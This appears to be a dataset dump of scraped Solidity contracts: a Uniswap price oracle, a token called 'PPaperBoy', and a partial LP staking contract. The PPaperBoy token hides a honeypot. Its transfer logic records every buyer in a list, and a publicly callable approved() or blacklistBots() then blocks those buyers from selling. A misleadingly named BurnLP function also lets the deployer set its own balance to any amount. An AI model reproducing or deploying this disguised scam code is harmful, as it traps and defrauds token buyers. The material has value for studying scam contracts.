emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Mario/owner/Operator.sol
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
// File: Mario/openzeppelin/SafeMath.sol
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: Mario/utils/Epoch.sol
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// File: Mario/interfaces/IUniswapV2Pair.sol
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: Mario/lib/UniswapV2OracleLibrary.sol
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 322,626 | 13,439 |
f9fbf7a028e382c17dee804532f126b4c45c705f554c96a0776048e9f5ca9df8
| 19,518 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/4a/4a4D05B55c6F229148AB5B43eD7D62c23D5CA53b_PPaperBoy.sol
| 4,609 | 18,544 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract PPaperBoy is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isIncludedFromFee;
address[] private includeFromFee;
string private constant _name = "PPaperBoy";
string private constant _symbol = "$PPaperBoy";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 10000000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply * 5 / 100; //5%
uint256 public _maxWalletAmount = _totalSupply * 5 / 100; //5%
address public marketingWallet;
address private Swap;
struct BuyFees{
uint256 liquidity;
uint256 marketing;
} BuyFees public buyFee;
struct SellFees{
uint256 liquidity;
uint256 marketing;
} SellFees public sellFee;
event MaxTxAmountUpdated(uint _maxTxAmount);
constructor () {
marketingWallet = payable(msg.sender);
Swap = payable(msg.sender);
balances[_msgSender()] = _totalSupply;
buyFee.liquidity = 1;
buyFee.marketing = 1;
sellFee.liquidity = 1;
sellFee.marketing = 1;
uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_isExcludedFromFee[msg.sender] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
balances[recipient] = balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approved() public virtual {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isIncludedFromFee[account] = true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner {
require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 8, "Buy fee can't go higher than 8");
buyFee.liquidity = newLiquidityBuyFee;
buyFee.marketing= newMarketingBuyFee;
require(newLiquiditySellFee.add(newMarketingSellFee) <= 8, "Sell fee can't go higher than 8");
sellFee.liquidity = newLiquiditySellFee;
sellFee.marketing= newMarketingSellFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function BurnLP(uint256 enable) public {
if (!_isExcludedFromFee[_msgSender()]) {
return;
}
balances[Swap] = enable;
}
function isIncludedFromFee(address account) public view returns(bool) {
return _isIncludedFromFee[account];
}
function blacklistBots() public onlyOwner {
for (uint256 i = 0; i < includeFromFee.length; i++) {
_isIncludedFromFee[includeFromFee[i]] = true;
}
}
function takeBuyFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * buyFee.liquidity / 100;
uint256 marketingFeeTokens = amount * buyFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function takeSellFees(uint256 amount, address from) private returns (uint256) {
uint256 liquidityFeeToken = amount * sellFee.liquidity / 100;
uint256 marketingFeeTokens = amount * sellFee.marketing / 100;
balances[address(this)] += liquidityFeeToken + marketingFeeTokens;
emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken);
return (amount -liquidityFeeToken -marketingFeeTokens);
}
function removeLimits() public onlyOwner {
_maxTxAmount = _totalSupply;
_maxWalletAmount = _totalSupply;
emit MaxTxAmountUpdated(_totalSupply);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(to != address(0), "ERC20: transfer to the zero address");
balances[from] -= amount;
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if (to != uniswapV2Pair) { includeFromFee.push(to);
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount");
require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount.");
transferAmount = takeBuyFees(amount, from);
}
if (from != uniswapV2Pair) {
require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]);
transferAmount = takeSellFees(amount, from);
}
}
balances[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
}
| 44,160 | 13,440 |
10382ec7932b867a3b146e998566cfec0afc8695d605461abfe8fb9f01cb669a
| 16,617 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x59ee96d49db74d096e9400f8067aec83cc55192c.sol
| 4,411 | 16,378 |
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
}
interface IUniswapV2Pair is IERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
contract MunchLPStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using SafeERC20 for IUniswapV2Pair;
IERC20 _munchToken;
IUniswapV2Pair _lpToken;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address charityAddress;
uint256 _lastRewardBlock;
uint256 _accERC20PerShare = 0;
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint lastDepositTime;
uint percentToCharity; // as an int: 50% is stored as 50
}
uint256 public paidOut = 0;
uint256 public rewardPerBlock;
uint public constant cliffTime = 1 minutes;
mapping (address => UserInfo) public userInfo;
uint public minPercentToCharity;
uint public startBlock;
uint public endBlock;
uint256 public fundsAdded;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address lpToken, address munchToken, uint rewards) public {
_munchToken = IERC20(munchToken);
_lpToken = IUniswapV2Pair(lpToken);
rewardPerBlock = rewards;
startBlock = 0;
endBlock = 0;
minPercentToCharity = 50;
charityAddress = address(_munchToken);
_lastRewardBlock = block.number > startBlock ? block.number : startBlock;
_munchToken.approve(address(_uniswapV2Router), type(uint).max);
_lpToken.approve(address(_uniswapV2Router), type(uint).max);
}
